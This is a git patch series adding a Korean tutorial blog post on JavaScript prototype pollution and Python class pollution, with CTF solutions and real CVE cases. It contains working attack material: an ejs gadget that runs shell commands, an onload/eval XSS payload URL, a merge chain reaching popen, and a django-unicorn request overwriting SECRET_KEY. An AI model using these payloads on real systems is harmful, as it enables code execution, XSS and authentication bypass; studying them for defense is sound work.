From ca20dac2f1e2a18bcce05dc46ca9e199b27e4c02 Mon Sep 17 00:00:00 2001 From: apple6342 <39668014+apple6342@users.noreply.github.com> Date: Thu, 17 Jul 2025 00:25:30 +0900 Subject: [PATCH 01/18] Add files via upload --- _posts/prototype pollution.md | 839 ++++++++++++++++++++++++++++++++++ 1 file changed, 839 insertions(+) create mode 100644 _posts/prototype pollution.md diff --git a/_posts/prototype pollution.md b/_posts/prototype pollution.md new file mode 100644 index 0000000..8f9d067 --- /dev/null +++ b/_posts/prototype pollution.md @@ -0,0 +1,839 @@ +# 초안 + +***By Knights of the SPACE 가세혁(dpp), 김다희(lxnee), 박진완(realsung), 정성훈(HunSec)*** + +# **BackGround( 정성훈 )** + +Class Pollution 취약점을 소개하기 전에 기본적으로 알아야 할 몇 가지 배경지식을 소개하겠습니다. + +JavaScript는 객체지향 언어이며 객체를 기반으로 작동하는 언어입니다. + +JavaScript 를 이루고 있는 거의 모든 것이 객체입니다. + +## 객체란? + +이름(Key)과 값(Value)으로 이루어진 속성들의 집합입니다. 아래 객체 예시를 확인할 수 있습니다. + +### **person 객체** + +```python +const person = { + name: "지수", // key: name, value: "지수" + age: 24, // key: age, value: 24 + isStudent: true // key: isStudent, value: true +}; +``` + +## 속성이란? + +**객체(Object)** 안에 있는 **"이름(key)"과 "값(value)"의 쌍입니다.** + +```python +const user = { + name: "지수", // name: 속성 + age: 25 // age: 속성 +}; +``` + +- name, age → **속성** 이름 (key) +- "지수", 25 → **속성** 값 (value) + +## 메소드란? + +객체 안에 정의되거나 객체에 속하는 함수입니다. + +### 메소드와 함수의 차이 + +- **메소드** : **객체를 통해** 호출되는 함수 +- **함수** : **객체 없이** 독립적으로 호출되는 함수 + +**메소드** + +```jsx +const obj = { + greet: function() { + console.log("안녕!"); + } +}; +obj.greet(); +``` + +**함수** + +```jsx +function greet() { + console.log("안녕!"); +} +greet(); +``` + +## Prototype + +JavaScript는 전통적인 Class 기반 상속과 달리 **Prototype(프로토타입) 기반 상속**을 사용합니다. + +**Prototype은** 타 언어와 구별되는 JavaScript만의 중요한 개념입니다. + +> Prototype은 JavaScript에서 **객체가 다른 객체**로부터 **속성**과 **메소드**를 +**상속받기 위한 메커니즘**입니다. +***쉽게 Prototype은 일종의 유전자**로 ****생각하시면 편합니다.* +> + +### Prototype의 이해 + +```jsx +const user = { + sayHi() { + console.log("안녕!"); + } +}; + +**const admin = Object.create(user);** +admin.name = "관리자"; + +admin.sayHi(); // 👉 "안녕!" ← **user에서 상속받은 메서드** +``` + +admin 객체는 user 객체를 **Prototype으로 삼고** 있으므로, admin 자체에 sayHi()가 없어도 Prototype Chain을 따라 user.sayHi()를 찾아 호출할 수 있습니다. + +- **부모 객체의 prototype (유전자)** + - **자식에게 물려줄 메소드**를 정의하는 전용 공간입니다. + - 예시: Parent.prototype.sayHello = function () { … }; +- **자식 객체의 __proto__(내부 유전자에 접근하기)** + - 생성될 때 **부모의 prototype**을 참조해 저장합니다. + - 이를 통해 **부모로부터 상속된 메소드·속성**에 접근할 수 있습니다. + +### __**proto__** + +모든 객체는 **__proto__**를 통해 자신의 **Prototype Chain(Prototype 내부)** 에 접근할 수 있습니다. + +**prototype 예시** + +```jsx +function Person(name) { + this.name = name; +} +Person.prototype.sayHello = function() { + console.log("안녕, 나는 " + this.name); +}; + +const p1 = new Person("지수"); +p1.sayHello(); // 👉 "안녕, 나는 지수" + +``` + +- p1은 Person.prototype을 프로토타입으로 삼음 + +## JavaScript 상속 + +JavaScript는 **Class 기반 상속**이 아닌 **Prototype기반 상속으로 객체끼리 연결을 통한 상속**을 합니다 (**Object**.,**proto,create** 이용) + +### JavaScript: Prototype 기**반 상속** + +```jsx +const parent = { + sayHi() { + console.log("안녕!"); + } +}; + +const child = Object.create(parent); +child.name = "지수"; + +child.sayHi(); // 👉 parent에서 상속받은 메서드 + +``` + +### Python: Class **기반 상속** + +```jsx +class Parent: + def say_hi(self): + print("안녕!") + +class Child(Parent): # 상속 + def __init__(self, name): + self.name = name + +c = Child("지수") +c.say_hi() # 👉 Parent에서 상속받은 메서드 + +``` + +--- + +# Prototype pollution ( 박진완 ) + +## Prototype pollution 이란 + +**Prototype Pollution**은 공격자가 객체의 Prototype(Object.prototype)에 접근하여 임의의 속성을 추가할 수 있게 하는 JavaScript 취약점입니다. + +만약 애플리케이션이 INPUT을 안전하지 않은 방식으로 처리한다면, 주로 다른 취약점으로 확장됩니다. + +클라이언트 측 JavaScript에서는 이러한 공격이 일반적으로 **DOM XSS**로 이어지며, 서버 측에서는 **RCE**(Remote Code Execution)로 이어질 수도 있습니다. + +Prototype Pollution의 실용적인 접근을 위해 Prototype에 접근하는 다양한 방법을 알아보겠습니다. + +7월 10일에 Ark가 X(구 Twitter)에 **“Tips: 7 ways to access __proto__ in JavaScript”**라는 게시글을 올렸습니다. + +[https://x.com/arkark_/status/1943260773268230205](https://x.com/arkark_/status/1943260773268230205) + +위와 같이 7가지 방법으로 prototype에 접근할 수 있습니다. + +그러면 Prototype Pollution은 주로 어떤 상황에 발생할까요? + +(이제부터 설명의 용이성을 위해 Prototype Pollution을 PP라 표기하겠습니다.) + +**일반적으로 PP는 다음과 같은 상황에서 주로 발생**합니다. + +```jsx +const obj = {}; +const credential = {}; + +INPUT1 = '__proto__'; +INPUT2 = 'admin'; +INPUT3 = true; +obj[INPUT1][INPUT2] = INPUT3; + +if (credential.admin) console.log('Hello Admin'); +// Output : Hello Admin +``` + +위와 같이 유저의 INPUT이 객체 접근에 사용되고, 객체에 할당되는 값(INPUT3)를 조작할 수 있을 때 PP가 발생합니다. 이런 식으로 내부 변수를 조작하여 공격자는 원하는 동작을 이끌어 낼 수 있습니다. + +## 공격 예시 + +### Prototype Pollution lead to RCE 사례 + +Server Side에서 Prototype Pollution이 발생할 시 RCE로 이어질 수 있다는 점을 보여주는 좋은 사례입니다. + +(이해를 돕기 위해 Prototype Pollution을 코드에 직접 삽입하였습니다. USER INPUT을 통해 발생하는 사례도 충분히 가능합니다.) + +버전 : 3.1.6 + +모듈 : ejs (NPM) + +```jsx +// app.js +const express = require('express'); +const app = express(); +const PORT = 3000; +app.set('views', __dirname); +app.set('view engine', 'ejs'); + +Object.prototype.client = 1; +Object.prototype.escapeFunction = 'function(){};console.log(process.mainModule.require("child_process").execSync("dir").toString())'; + +app.get('/', (req, res) => { + res.render('index'); +}); + +app.listen(PORT, () => { + console.log(`Server is running on ${PORT}`); +}); +``` + +![image.png](image.png) + +### Prototype Pollution lead to DOM XSS + +**L3akCTF 2025**에 [NotoriousNote](https://ctf.l3ak.team/challenges#NotoriousNote-64)라는 문제가 출제되었습니다. (135 Solves) + +다루고자 하는 주제와 잘 맞는 문제라서 예시로 가져오게 되었습니다. + +```jsx +// index.js +document.addEventListener('DOMContentLoaded', function() { + const [_, query] = [window.location, QueryArg.parseQuery(window.location.search)]; + const { note: n } = query; + + const actions = [ + () => console.debug(n), + () => { + const el = document.getElementById('notesPlaceholder'); + if (n) { + const renderNote = txt => `
${sanitizeHtml(txt)}
`; + el.innerHTML += renderNote(n); + } + } + ]; + + actions.forEach(fn => fn()); +}); +``` + +**index.js**에서는 `QueryArg.parseQuery`로 `window.location.search` 를 파싱합니다. + +`QueryArg.parseQuery` 는 출제자가 구현한 것으로 Prototype Pollution에 취약하게 구현되어 있습니다. + +sanitizeHtml은 NPM의 **sanitize-html 모듈**입니다. + +```jsx +(function(global){ + global.MakeQueryArg = function(){ + ... + + switch (selector.charAt(selectorBreak)) { + case '[': + obj[currentRoot] = obj[currentRoot] || []; + nextSelector = nextSelector.replace(']', ''); + + if (nextSelector.search(/[\.\[]/) === -1 && nextSelector.search(/^[0-9]+$/) > -1) { + nextSelector = parseInt(nextSelector, 10); + } + + return QueryArg._qaAccess(obj[currentRoot], nextSelector, value); + + ... +``` + + `__proto__` 와 같은 문자열의 검증없이 currentRoot를 사용하여 할당하기 때문에 Prototype Pollution이 발생합니다. + +[http://34.134.162.213:17002/?__proto__[a]=1](http://34.134.162.213:17002/?__proto__[a]=1) 해당 링크에 접속하여 PP를 확인할 수 있습니다. + + +![image.png](image%201.png) + +`sanitizeHtml prototype pollution` 을 검색하면 [유용한 링크](https://www.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers.html)가 나옵니다. + +![image.png](image%202.png) + +![image.png](image%203.png) + +따라서 아래와 같이 접근하여 문제를 해결할 수 있습니다.ㅑ + +``` +http://127.0.0.1:5000/?note=%3Ciframe%20onload=eval(atob(%22BASE64 인코딩된 페이로드%22))%3E&__proto__[*][0]=onload +``` + +### 관련 워게임 + +[https://dreamhack.io/wargame/challenges/205/](https://dreamhack.io/wargame/challenges/205/) + +[https://dreamhack.io/wargame/challenges/468/](https://dreamhack.io/wargame/challenges/468/) + +[https://dreamhack.io/wargame/challenges/643/](https://dreamhack.io/wargame/challenges/643/) + +[https://dreamhack.io/wargame/challenges/1678](https://dreamhack.io/wargame/challenges/1678) + +--- + +# class pollution ( 정성훈 ) + +## class pollution 이란 + +보통 JavaScript 환경에서 발생하는 Prototype pollution 취약점은 +**Prototype이 없는 Python 환경에서도 취약점이 발**생합니다. + +**정확히 말하면**, Python에서는 Prototype이 존재하지 않지만, **Class 기반**으로 Prototype과 비슷하게 +작동을 하기 때문에 Python 언어에서도 Prototype pollution 취약점을 재현할 수 있습니다. +이 취약점을 편의상 + +**Prototype pollution in Python** 또는 **class pollution**으로 표현하겠습니다. + +Python 환경에서 발생하는 **Class Pollution 취약점**은 주로 **Magic Method**를 이용해서 이루어집니다. + +## Magic Method (Duner Method ,Speical Method) + +**Magic Method** : **메소드의 양쪽을 (__)** 로 감싼형태인 파이썬 클래스 안에서 **특수 메소드** 입니다. + +ex)**__str__(), __call__()** + +## Pototype Pollution 과 Class Pollution의 차이점 + +- Python에서는 **__getitem__ __setitem__**으로는 **__class__ __base__**같은 속성에 접근할 수 없습니다. +- JavaScript는 이런 제한이 없으므로 Python 환경보다 더욱더 유연하게 공격을 진행할 수 있습니다. +- **Prototype이 없는 class 기반 상속 언어인 Python 환경**에서 일어나는 class pollution 취약점은 +**Magic Method(특수 속성)**을 이용합니다. + +이러한 **Magic Method**들은 객체가 특정 작업과 다양한 연산자와 함께 사용될 때 어떤 동작을 해야 할지 정의해줍니다. + +즉 Python에서는 **JavaScript처럼 Prototype은 없지만,** **Magic Method**를 이용해서 유사한 기능,구조를 구현할 수 있습니다. + +아래 2개의 코드는 Class Pollution을 보여주는 예시입니다. + +```python +class Dog: + def bark(self): + print("멍멍!") + +dog = Dog() +dog.bark() # 출력: 멍멍! + +# 런타임 중 메서드 오버라이드 +def new_bark(self): + print("왈왈!!") + +dog.bark = new_bark.**__get__(dog)** +dog.bark() # 출력: 왈왈!! + +``` + +코드에서 확인할 수 있듯이 Python 환경에서는 실행 도중 객체의 메소드를 바꿀 수 있습니다. + +```python +class Employee: pass # 빈 클래스 정의 + +emp = **Employee()** # Employee 클래스 인스턴스 생성 +another_emp = **Employee()** # 또 다른 인스턴스 생성 + +**Employee**.name = 'No one' # 클래스 수준에서 name 속성 추가 +print(**emp**.name) # emp는 클래스 속성 접근 → 'No one' 출력 + +**emp**.name = 'Employee 1' # emp 인스턴스에 name 속성 오버라이드 +print(**emp**.name) # 인스턴스 속성이 우선 → 'Employee 1' 출력 + +emp.say_hi = lambda: 'Hi there!' # emp 인스턴스에만 say_hi 메서드 추가 +print(emp.say_hi()) # emp에서 say_hi 실행 → 'Hi there!' 출력 + +**Employee.say_bye** = lambda s: 'Bye!' # 클래스 수준에 say_bye 메서드 정의 +print(emp.**say_bye()**) # emp도 say_bye 접근 가능 → 'Bye!' 출력 + +**Employee.say_bye** = lambda s: 'Bye bye!' # say_bye 메서드를 다시 덮어씀 +print(another_emp.**say_bye()**) # another_emp도 새 버전 실행 → 'Bye bye!' 출력 + +``` + +**Employee.say_bye**와 같이 외부에서 **Class Method**를 조작하면 영향받는 상황인 Class Pollution이 발생합니다. + +공격자의 관점인 우리는 **Magic Method보다는 속성에 집중해야 합니다.** + +그 이유는 Magic Method를 덮어쓴다면, 오류가 일어나기 때문에, 공격이 불가능해집니다. + +예시로 **__class__** 속성을 직접 덮어봅시다. + +### __class__ + +```python +class Employee: pass # 빈 클래스 정의 + +emp = Employee() +emp.**__class__** = 'Polluted' + +#> Traceback (most recent call last): +#> File "", line 1, in +#> TypeError: __class__ must be set to a class, not 'str' object +``` + +- Employee의 인스턴스인 emp.__class__는 Employee를 가리키고. +- emp객체의 Class 속성값으로 **Pollute** 라는 문자열이 들어가 있고 오류가 발생하는 것을 볼 수가 있습니다 + +**TypeError: __class__ must be set to a class, not 'str' object** + +문자열이 아니라, Class로만 할당할 수 있다고 **에러가 나오는 것을 확인할 수 있습니다.** + +속성 덮어쓰기 자체는 가능했지만, 자료형이 올바르지 않아서 Type error가 발생하는 것입니다. + +**이는 덮어쓰기가 가능한 걸 알려주는 아주 좋은 에러입니다!** + +이번에는 문자열을 허용하는 **__qualname__** 이라는 속성으로 진행해봅시다. + +### __qualname__ + +```python +class Employee: pass # Creating an empty class + +emp = Employee() +emp.__class__.__qualname__ = 'Polluted' + +print(emp) +print(Employee) + +#> <__main__.Polluted object at 0x0000024765C48250> +#> +``` + +**__qualname__** 를 통해서 속성에 임의의 문자열인 Polluted가 들어가 있는 것을 확인할 수 있습니다. + +**emp.__class__.__qualname__** 을 설정했을 때 단순히 emp의 인스턴스가 바뀐 게 아니라,emp가 속한 클래스(Employee)의 속__qualname__ 속성이 변경된 것입니다. + +- emp.__class__.__qualname__ = "Polluted" → Employee.__qualname__ = "Polluted"과 같습니다. + +## 다양한 class pollution 방법 + +### __base__ 속성을 이용한 + +**base** 속성을 이용한 부모 Class까지의 pollution + +가장 가까운 부모 Class를 참조하는__base__ 속성을 이용해서 직접 상속한 마지막 부모 Class까지 pollution + +### object polluted + +Object Class는 모든 Class가 상속받는 부모 class이므로 만약 Object Class를 Pollution 한다면 모든 객체에 영향을 주는 아주 효과적인 공격 방법일 것입니다. + +하지만 최상위 부모 Class인 Object Class를 오염시키는 건 **불가능합니다.** + +**object.__qualname__ = 'Polluted'**  + +ㅡ> **TypeError: cannot set '__qualname__' attribute of immutable type 'object'** + +Object는 속성 설정이 불가능합니다. Python 언어 특성상 **object, str, int, dict** 같이 **불변 타입**은 + Class 수정이 불가능 **class pollution 대상이 아닙니다.** + +--- + +# Class Pollution 공격 예시 ( 가세혁 ) + +## 공격 예시 + +### 1. 부모 Class Pollution + +```python +class Animal: + species = "동물" + +class Mammal(Animal): + pass + +class Dog(Mammal): + pass + +a = Animal() +m = Mammal() +d = Dog() + +print(a.species) # 동물 +print(m.species) # 동물 +print(d.species) # 동물 + +# class 체인의 조상 클래스 오염 +d.__class__.__base__.__base__.species = "오염된 동물" + +print(a.species) # 오염된 동물 +print(m.species) # 오염된 동물 +print(d.species) # 오염된 동물 +``` + +--- + +### 2. __class__ 속성 병합 Pollution + +```python +class Animal: + pass + +def merge(src, dst): + for k, v in src.items(): + if hasattr(dst, '__getitem__'): + if dst.get(k) and type(v) == dict: + merge(v, dst.get(k)) + else: + dst[k] = v + elif hasattr(dst, k) and type(v) == dict: + merge(v, getattr(dst, k)) + else: + setattr(dst, k, v) + +# 오염용 입력 +animal_info = { + "species": "고양이", + "age": 4, + "owner": { + "name": "민수" + }, + "__class__": { + "__qualname__": "Polluted" + } +} + +a = Animal() +merge(animal_info, a) + +print(vars(a)) # {'species': ..., 'age': ..., ...} +print(a) # <__main__.Polluted object at ...> +print(a.__class__.__qualname__)# Polluted +print(Animal.__qualname__) # Polluted +``` + +--- + +### 3. 명령 실행용 오염 체인 + +```python +from os import popen + +class Employee: pass +class HR(Employee): pass +class Recruiter(HR): pass + +class SystemAdmin(Employee): + def execute_command(self): + command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' + return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"' + +def merge(src, dst): + for k, v in src.items(): + if hasattr(dst, '__getitem__'): + if dst.get(k) and type(v) == dict: + merge(v, dst.get(k)) + else: + dst[k] = v + elif hasattr(dst, k) and type(v) == dict: + merge(v, getattr(dst, k)) + else: + setattr(dst, k, v) + +# 오염용 payload +USER_INPUT = { + "__class__": { + "__base__": { + "__base__": { + "custom_command": "whoami" + } + } + } +} + +recruiter_emp = Recruiter() +system_admin_emp = SystemAdmin() + +print(system_admin_emp.execute_command()) +# [!] Executing: "echo Hello there", output: "Hello there" + +# 병합을 통해 조상 클래스 오염 시도 +merge(USER_INPUT, recruiter_emp) + +print(system_admin_emp.execute_command()) +# [!] Executing: "whoami", output: "abdulrah33m" +``` + +### 클래스 구조 + +```mermaid +classDiagram + class Employee + class HR + class Recruiter + class SystemAdmin + + HR --|> Employee + Recruiter --|> HR + SystemAdmin --|> Employee + +``` + +### 오염 경로 + +```mermaid +flowchart TD + A["recruiter_emp (Recruiter)"] --> B["__class__ (Recruiter)"] + B --> C["__base__ (HR)"] + C --> D["__base__ (Employee)"] + D --> E["custom_command=whoami"] +``` + +https://medium.com/@edgenask/bauhinia-ctf-2023-17fe1b00a398 + +https://github.com/jmoraissec/ctf-class-pollution + +https://blog.abdulrah33m.com/prototype-pollution-in-python/ + +https://www.cyberdonald.com/post/downunderctf-web-co2 + +https://www.offensiveweb.com/docs/programming/python/class-pollution/ + +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.html + +--- + +# realworld case ( 김다희 ) + +## Prototype Pollution + +### 1. tough-cookie (affected from 0 before 4.1.3) & ****CVE-2023-26136,  CWE-1321 + +--- + +- **Program :** tough-cookie (affected from 0 before 4.1.3) +- **Reported ID :** CVE-2023-26136,  CWE-1321 +- **Severity :** Medium (6.5) +- **Bounty :** N/A + +tough-cookie는 Node.js 환경에서 RFC6265 표준을 준수하는 쿠키 관리 및 쿠키 저장소 기능을 제공하는 오픈소스 라이브러리입니다. + +4.1.3 이전 버전의 tough-cookie에서는, 여러 쿠키가 저장·관리되는 쿠키 저장소 객체의 옵션 중 rejectPublicSuffixes=false 을 사용할 때 cookie 설정 과정에서 프로토타입 오염이 발생할 수 있었습니다. 객체 초기화 방식의 문제로 인해 제한된 속성 정보가 노출되거나 수정되는 것입니다. + +쿠키 저장소 객체를 생성할 때 rejectPublicSuffixes 옵션을 false로 설정하면, 공개 접미사(public suffix) 검증이 비활성화됩니다. 공개 접미사 검증이 비활성화되면, .com, .co.kr 등과 같이 쿠키를 설정할 수 없어야 하는 상위 도메인에 대해서도 쿠키가 설정됩니다. 이로 인해 쿠키의 Domain 속성에 임의 값(ex. __proto__)이 허용됩니다. + +• __proto__는 JavaScript에서 Object.prototype 체인을 조작할 수 있는 특수 속성입니다. + +```jsx +const tough = require("tough-cookie"); +const cookiejar = new tough.CookieJar(undefined, { rejectPublicSuffixes: false }); + +await cookiejar.setCookie( + "Slonser=polluted; Domain=__proto__; Path=/notauth", + "https://__proto__/admin" +); + +console.log({}["/notauth"]["Slonser"]); // polluted +``` + +위 코드의 setCookie에서는 Domain=__proto__을 쿠키를 설정하고 있습니다.  __proto__가 도메인으로 사용되면, 쿠키 저장소(CookieJar)의 Object.prototype이 오염됩니다. 또한, 쿠키는 Slonser=polluted 값을 가지며, 오염된 해당 값이 주입될 경로는 /notauth입니다. + +console.log 줄에서는 비로소 Object.prototype["/notauth"]["Slonser"]가 오염됩니다. 결과적으로, 모든 객체에서 쿠키 경로인 /notauth에 접근하면 Slonser의 속성값 polluted을 읽을 수 있게 됩니다. + +> https://security.snyk.io/vuln/SNYK-DEBIANUNSTABLE-NODETOUGHCOOKIE-5759359 +> +> +> [https://www.cve.org/CVERecord?id=CVE-2023-26136](https://www.cve.org/CVERecord?id=CVE-2023-26136) +> +> https://nvd.nist.gov/vuln/detail/cve-2023-26136 +> +> https://security.snyk.io/vuln/SNYK-JS-TOUGHCOOKIE-5672873 +> +> [https://github.com/salesforce/tough-cookie/issues/282](https://github.com/salesforce/tough-cookie/issues/282) +> + +--- + +### 2. lodash (affected at All versions prior to 4.17.12) & CVE-2019-10744,  CWE-1321 + +--- + +- **Program :** lodash (affected at All versions prior to 4.17.12) +- **Reported ID :** CVE-2019-10744,  CWE-1321 +- **Severity :** High (7.3) +- **Bounty :** N/A + +lodash의 v4.17.12+ 이전 버전에서는 객체 속성을 깊은 수준(deep level)까지 병합하는 defaultsDeep의 recursive merge로 인한 프로토타입 오염 문제가 있었습니다. + +- recursive merge (재귀적 병합)이? + +예를 들어, Object.defineProperty()를 사용해서 __proto__ 속성을 가진 객체를 만든다고 합시다. 이를 병합 대상 객체(source)로 사용하면 문제가 생깁니다. 병합 대상인 객체와 병합 결과가 저장될 대상(target) 객체 모두에 같은 속성이 있고, 그 속성들이 객체인 경우, 병합 함수는 그 안의 속성들을 계속 재귀적으로 병합하기 때문입니다. + +이 과정에서 __proto__ 속성이 처리되면, 병합 함수가 Object.prototype(모든 객체의 기본 프로토타입)에 접근하게 되고, 여기에 공격자가 원하는 속성들을 주입할 수 있게 됩니다. 이렇게 되면 모든 객체에 영향을 줄 수 있는 심각한 보안 문제가 발생합니다. + +특히 이런 취약점은 빈 객체와 병합하는 "클론" 작업을 할 때 자주 발생합니다. 예를 들어 merge({}, source)처럼 쓰면, 빈 객체에 source의 속성을 병합하는데, 이때 source에 __proto__가 있으면 위와 같은 보안 문제가 일어날 수 있습니다. + +defaultsDeep(target, source) 함수는 source 객체의 속성을 target에 복사합니다. 이때, 속성이 객체라면 그 내부도 재귀적으로 병합합니다. + +```jsx +const mergeFn = require('lodash').defaultsDeep; +const payload = '{"constructor": {"prototype": {"a0": true}}}'; + +function check() { + mergeFn({}, JSON.parse(payload)); // 1. 취약점 트리거 + if (({})[`a0`] === true) { // 2. 오염 확인 + console.log(`Vulnerable to Prototype Pollution via ${payload}`); + } +} + +check(); +``` + +위 코드의 mergeFn 함수에서는 빈 객체 {}와 payload가 병합됩니다. 병합 중 constructor와 그 안의 prototype이 객체로 인식되며, lodash는 이를 재귀적으로 따라갑니다. lodash.defaultsDeep() 함수가 payload를 병합할 때 constructor.prototype 경로를 따라감으로써  Object.prototype에 a0: true 이 주입되어 오염됩니다. + +if문에서는 새로 만든 빈 객체에서도 a0가 true로 나오는지 테스트합니다. 오염된 Object.prototype에서 a0 값을 읽어오며, true가 반환됨에 따라 취약점의 존재가 확인됩니다. + +> https://security.snyk.io/vuln/SNYK-JS-LODASH-450202 +> +> +> [https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/?_gl=1*d7rzny*_gcl_au*MTc4MTUyODEzLjE3NTAzNDcwMDM.*_ga*MTI5NzMxODQuMTc1MDM0MjczMQ..*_ga_X9SH3KP7B4*czE3NTAzNTIxMDckbzMkZzEkdDE3NTAzNTIyNTQkajYwJGwwJGgw](https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/?_gl=1*d7rzny*_gcl_au*MTc4MTUyODEzLjE3NTAzNDcwMDM.*_ga*MTI5NzMxODQuMTc1MDM0MjczMQ..*_ga_X9SH3KP7B4*czE3NTAzNTIxMDckbzMkZzEkdDE3NTAzNTIyNTQkajYwJGwwJGgw) +> + +--- + +## Class Pollution + +--- + +### 1. **mesop & CVE-2025-30358, CWE-915** + +--- + +- **Program : mesop** +- **Reported ID :** **CVE-2025-30358, CWE-915** +- **Severity : High (7.2)** +- **Bounty : N/A** + +mesop은 Python으로 UI를 구축하는 프레임워크입니다. mesop의 0.14.0 이하 버전의 _recursive_update_dataclass_from_json_obj() 함수에서는 Class Pollution 문제가 있었습니다. + +_recursive_update_dataclass_from_json_obj()는 외부의 JSON 데이터를 Python 데이터 클래스로 재귀적으로 변환하여 매핑하는 함수입니다. 이 함수는 dunder 속성 (__로 시작하는 속성)에 대한 필터링을 수행하지 않다는 문제가 존재했습니다. 그렇기에 공격자가 JSON 입력에 __로 시작하는 악성 속성을 overwrite하면 이는 python 클래스의 내부 시스템 속성에 악성 데이터를 삽입할 수 있습니다. 이는 DoS(서비스 거부) 공격을 일으킬 수 있으며, 클래스의 기본 동작이 마비되거나 조작될 수 있습니다. 공격자가 중첩된 딕셔너리 구조를 통해 제한 없이 재귀 호출을 유발하여 스택 오버플로우나 무한 루프를 일으킬 수도 있습니다. 또한, 속성의 결과 값이 런타임에서 제어될 수 있다면 사용자 사칭, 데이터 오염, Class 동작 변경 등의 심각한 보안 사고를 초래할 수 있습니다. + +```jsx +def _recursive_update_dataclass_from_json_obj(instance: Any, json_dict: Any):More actions +for key, value in json_dict.items(): + +if hasattr(instance, key): +attr = getattr(instance, key) +if isinstance(value, dict): +``` + +위 코드에서는 던더(Dunder) 속성 필터링이 부재합니다. if key.startswith("__") and key.endswith("__"): 과 같은 검증 로직이 없기에 공격자는 __init__, __call__, __class__ 같은 중요한 내부 속성이 제어될 수  있습니다. Python 객체의 기본 동작이 마비되거나 조작이 가능해지며, 중첩된 딕셔너리에 대해 제한 없이 재귀 호출이 가능하기에 모든 중첩 레벨이 오염될 수 있습니다. + +> https://security.snyk.io/vuln/SNYK-PYTHON-MESOP-9669339 +> +> +> https://github.com/mesop-dev/mesop/commit/748e20d4a363d89b841d62213f5b0c6b4bed788f#diff-883b9c6a73562bf9cb21027f4afb7c018f0490c04467a69281a53758724dd71e +> + +--- + +### 2. **django-unicorn & CVE-2025-24370, CWE-915** + +--- + +- **Program : django-unicorn** +- **Reported ID :** **CVE-2025-24370, CWE-915** +- **Severity : Critical (9.3)** +- **Bounty : N/A** + +Django-Unicorn은 Django를 위한 full-stack 프레임워크로, 템플릿에 최신 반응형 컴포넌트 기능을 추가합니다. Django-Unicorn의 0.62.0 이전 버전에서, set_property_value 함수는 class Pollution에취약했습니다. + +```jsx +def set_property_value( + component, + property_name, + property_value +) -> None: + ... + property_name_parts = property_name.split(".") + component_or_field = component + ... +``` + +set_property_value 함수는 외부에서 속성 값을 수정하는 기능을 제공하는데, 경로를 점으로 구분하여 객체의 속성에 접근할 수 있습니다. 사용자가 적절한 컴포넌트 요청을 작성하고 취약한 함수에 두 번째 +(property_name) 및 세 번째 (property_value)매개변수 값을 입력하여 원격으로 트리거할 수 있으며, 이로 인해 Python 런타임 상태가 임의로 변경됩니다. 해당 취약점의 악용 방법이 최소 다섯 가지 이상 포착되었으며, 대부분의 Django-Unicorn 기반 애플리케이션에서 XSS, DoS, 인증 우회 공격으로 이어질 수 있습니다. + +다음은 overwriting a secret key를 통해 인증 우회 공격을 수행할 수 있는 코드입니다. + +```jsx +POST /unicorn/message/todo HTTP/1.1 + +{ + "id": 123, + "actionQueue": [ + { + "type": "syncInput", + "payload": { + "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY", + "value": "test" + } + } + ], + "data": { + "task": "", + "tasks": [] + }, + "epoch": "123", + "checksum": "XXX" +} +``` + +점으로 구분된 경로를 사용하여 속성을 찾는 set_property_value 함수의 경로 검증이 부족하여__globals__와 같은 magical 속성에 접근할 수 있게 됩니다. + +공격자는 property_name으로 __init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY를 설정합니다. __globals__는 파이썬의 전역 네임스페이스를 참조하는 특수한 속성이므로, 이를 통해 sys.modules를 거쳐, django.settings.SECRET_KEY에 접근하고 수정할 수 있습니다. 그 결과, 공격자는 비밀 키의 런타임 값을 의도한 대로 변조함으로써 세션 쿠키를 위조하여 다른 사용자로 시스템에 로그인할 수 있습니다. + +> https://nvd.nist.gov/vuln/detail/CVE-2025-24370 +> +> +> https://www.cve.org/CVERecord?id=CVE-2025-24370 +> +> https://access.redhat.com/security/cve/cve-2025-24370 +> +> https://feedly.com/cve/CVE-2025-24370 +> +> https://security.snyk.io/vuln/SNYK-PYTHON-DJANGOUNICORN-8685541 +> +> [https://github.com/advisories/GHSA-g9wf-5777-gq43](https://github.com/advisories/GHSA-g9wf-5777-gq43) +> \ No newline at end of file From 089a58293b51cfd97bacf4534fe3766d1b504504 Mon Sep 17 00:00:00 2001 From: apple6342 <39668014+apple6342@users.noreply.github.com> Date: Thu, 17 Jul 2025 00:26:36 +0900 Subject: [PATCH 02/18] Create prototype pollution --- prototype pollution | 1 + 1 file changed, 1 insertion(+) create mode 100644 prototype pollution diff --git a/prototype pollution b/prototype pollution new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/prototype pollution @@ -0,0 +1 @@ + From 5d14922081aee2d589d96d05f1273a7666e21ec4 Mon Sep 17 00:00:00 2001 From: apple6342 <39668014+apple6342@users.noreply.github.com> Date: Thu, 17 Jul 2025 00:30:04 +0900 Subject: [PATCH 03/18] Create test --- assets/img/proto/test | 1 + 1 file changed, 1 insertion(+) create mode 100644 assets/img/proto/test diff --git a/assets/img/proto/test b/assets/img/proto/test new file mode 100644 index 0000000..febfa1d --- /dev/null +++ b/assets/img/proto/test @@ -0,0 +1 @@ +tsetdsdsdsds From 1493e1beb932b21e73dc74173c2502cddf0f6a15 Mon Sep 17 00:00:00 2001 From: apple6342 <39668014+apple6342@users.noreply.github.com> Date: Thu, 17 Jul 2025 00:30:31 +0900 Subject: [PATCH 04/18] Add files via upload --- assets/img/proto/image 1.png | Bin 0 -> 768 bytes assets/img/proto/image 2.png | Bin 0 -> 45122 bytes assets/img/proto/image 3.png | Bin 0 -> 48003 bytes assets/img/proto/image.png | Bin 0 -> 33690 bytes 4 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 assets/img/proto/image 1.png create mode 100644 assets/img/proto/image 2.png create mode 100644 assets/img/proto/image 3.png create mode 100644 assets/img/proto/image.png diff --git a/assets/img/proto/image 1.png b/assets/img/proto/image 1.png new file mode 100644 index 